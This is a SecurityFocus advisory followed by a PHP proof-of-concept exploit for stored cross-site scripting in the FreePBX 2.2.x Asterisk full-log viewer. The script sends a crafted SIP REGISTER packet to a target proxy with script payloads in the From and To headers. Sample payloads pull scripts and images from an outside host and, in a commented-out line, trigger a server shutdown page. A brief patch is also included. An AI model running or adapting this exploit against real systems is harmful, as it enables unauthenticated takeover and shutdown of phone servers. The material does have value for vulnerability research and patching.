source: http://www.securityfocus.com/bid/23575/info

FreePBX is prone to multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input data before using it in dynamically generated content.

Attacker-supplied HTML and script code may be executed in the context of the affected web application, potentially allowing the attacker to steal cookie-based authentication credentials, control how the web application is displayed to the user, or manipulate the underlying PBX application; other attacks are also possible.

FreePBX 2.2. series is vulnerable to these issues. 

#!/usr/bin/php
<?php
/*

      \  |      |   |           |                   |  _)
     |\/ |  _ \ __| __ \  |   | |\ \  /  _` | __ \  __| | __ \   _` |
     |   |  __/ |   | | | |   | | `  <  (   | |   | |   | |   | (   |
    _|  _|\___|\__|_| |_|\__, |_| _/\_\\__,_|_|  _|\__|_|_|  _|\__,_|
                     ____/
    ___ \  ___|   /                     Methylxantina 256mg
       ) | __ \   _ \  __ `__ \   _` |  http://xenomuta.blogspot.com
      __/    ) | (   | |   |   | (   |
    _____|____/ \___/ _|  _|  _|\__, |  freePBX 2.2.x full-log XSS PoC
                                |___/   by XenoMuta
<xenomuta@phreaker.net <mailto:xenomuta@phreaker.net>>

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

ISSUE:
SIP protocol's fields such as From, To, Call-ID, User-Agent (and many
others)
can carry html tags, wich are shown unfiltered by the Asterisk Log File
tools
located at http://<freepbx
root>/admin/modules/logfiles/asterisk-full-log.php
resulting in malicios HMTL or Javascript code injection.

IMPACT:
Server shutdown/restart, PBX control and Possible remote code execution
through
amportal options. Just about anything you can code in Javascript.
* Note that the amportal's admin will only see the last 2000 lines of
full log.
  for wich an attaker might call the admin asking for support at the time of
exploitation. This doesn't require authentication or valid credentials >:)

WARNING:
* Do this on your own risk. Intended for research and educational
purposes ONLY.
* Neither the author or Methylxantine 256mg are accountable for your
actions.
* Running this will taint your log file. Make sure you clean it after a
test.

FIX:
Here is a way to fix the problem.

[root@asterisk1 ~]# cd /var/www/html/admin/modules/logfiles
[root@asterisk1 logfiles]# cat<<EOF|patch
*** asterisk-full-log.php       2007-04-18 12:51:10.000000000 -0400
--- asterisk-full-log.php.fixed 2007-04-18 12:51:18.000000000 -0400
***************
*** 10,16 ****
  <hr>
  <br>
  <?
! echo system ('tail --line=2000 /var/log/asterisk/full | sed -e
"s/$/<br>/"');
  ?>

  </body>
--- 10,16 ----
  <hr>
  <br>
  <?
! echo system ('tail --line=2000 /var/log/asterisk/full | sed -e
"s/</\</;s/>/\>/" | sed -e "s/$/<br>/"');
  ?>

  </body>
EOF


PAYOLA AND GREETS:
:)
gr33tz to:
- God, for being so faithfull.
- Lili, por la paciencia nocturna y por tu amor
- the Asterisk team and the freePBX team, for such an EXCELENT product
- EMRA, por la fragancia
- Leo, te di Luz


*/

print "\x1bc\n\x1b[1m\x1b[30m\x1b[47m";
print "
            \n";
print "
            \r";
print "      \\  |      |   |           |                   |  _)
    \n";
print "
            \r";
print "     |\\/ |  _ \\ __| __ \\  |   | |\\ \\  /  _` | __ \\  __| |
__ \\   _` |\n";
print "
            \r";
print "     |   |  __/ |   | | | |   | | `  <  (   | |   | |   | |   |
(   |\n";
print "
            \r";
print "    _|  _|\\___|\\__|_| |_|\\__, |_| _/\\_\\\\__,_|_|
_|\\__|_|_|  _|\\__,_|\n";
print "
            \r";
print "                         ____/
   \n";
print "
            \r";
print "    ___ \\  ___|   /                     Methylxantina 256mg\n";
print "
            \r";
print "       ) | __ \\   _ \\  __ `__ \\   _` |
http://xenomuta.blogspot.com\n";
print "
            \r";
print "      __/    ) | (   | |   |   | (   | \n";
print "
            \r";
print "    _____|____/ \\___/ _|  _|  _|\\__, |  freePBX 2.2.x full-log
XSS PoC\n";
print "
            \r";
print "                                |___/   by XenoMuta
<xenomuta@phreaker.net <mailto:xenomuta@phreaker.net>>\n";
print "
            \n\x1b[0m";


//COMMENT ME TO PROCEED
//die("\x1b[31mWe urge you to read the code first. Comment this line to
proceed.\n\x1b[0m");
if($argc<2) die("\nUsage: $argv[0] <sip proxy> [custom payload]\n\n");
$sipp=$argv[1];


if($argc<3){
//SOME SAMPLE PAYLOADS FOR YOUR PLEASURE

//Execute external Payload (this one only possible with Call-id payload)
$payload="<script>var body=document.getElementsByTagName('body');var
fly= new Image(), ofly=new Image(), ifly=new
Image();ifly.src='http://xenmut.100webspace.net/fly2.png';ofly.src='http://xenmut.100webspace.net/fly1.png';ofly.onload=eval('var
mv=setInterval(\'move()\',10);');fly.setAttribute('id','fly');fly.style.position='absolute;';fly.style.left='300';fly.style.top='100';body[0].appendChild(f
ly);var
ang,s=2,xx,yy,cal,pi=3.1415926535,ala=true;function
calma(){s=2;clearInterval(cal);}function move() {var
x,y;x=(s*(Math.sin(ang)));y=(s*(Math.cos(ang)));ala=!ala;if(ala)
fly.src=ifly.src;else
fly.src=ofly.src;if(Math.round(100*Math.random())>96)ang+=ala?5:-5;if((xx+x>1024)||(xx+x<0)||(yy+y>800)||(yy+y<0)){ang=Math.round(360*Math.random());}else{
xx+=x;yy+=y;}fly.style.left=xx+'px';fly.style.top=yy+'px';}function
main(){ang=Math.round(360*Math.random());xx=620;yy=400;fly.onmouseover=function(){s=10;ang=Math.round(360*Math.random());clearInterval(cal);cal=setInterval
('calma()',500);}}main();</script>";

//Space Invader (this one only possible with Call-id payload)
//$payload="<img width=900
src=http://www.i-marco.nl/weblog/images/SpaceInvader.jpg>";

// Server shutdown Payload
/*
.oOOOo.     Oo    O       o oOoOOoOOo ooOoOOo  .oOOOo.  o.     O
.O     o    o  O   o       O     o        O    .O     o. Oo     o
o          O    o  O       o     o        o    O       o O O    O
o         oOooOoOo o       o     O        O    o       O O  o   o
o         o      O o       O     o        o    O       o O   o  O
O         O      o O       O     O        O    o       O o    O O
`o     .o o      O `o     Oo     O        O    `o     O' o     Oo
`OoooO'  O.     O  `OoooO'O     o'    ooOOoOo  `OoooO'  O     `o
*/
//$payload='<img src="../sysstatus/shutdown.php">';
} else {
$payload=$argv[2];
}

$ext=1234;
$agent="SJphone v1.0";
$udp=fsockopen("udp://$sipp",5060);
$seq=rand(10000,99900);
$packet = "REGISTER sip:$sipp SIP/2.0\n".
"Via: SIP/2.0/UDP $sipp:5060;rport;branch=z9hG4bK12345\n".
"From: $payload\n".
"To: $payload\n".
"Contact: \"$ext\" <sip:$ext@$sipp:5060>\n".
"Call-ID: 12345@$sipp\n".
"CSeq: 12345 REGISTER\n".
"Expires: 1800\n".
"Max-Forwards: 70\n".
"User-Agent: $agent\n".
"Content-Length: 0\n\n";
fputs($udp,$packet);
fclose($udp);
die("\nPAYLOAD SENT:\n$payload\n");

?>

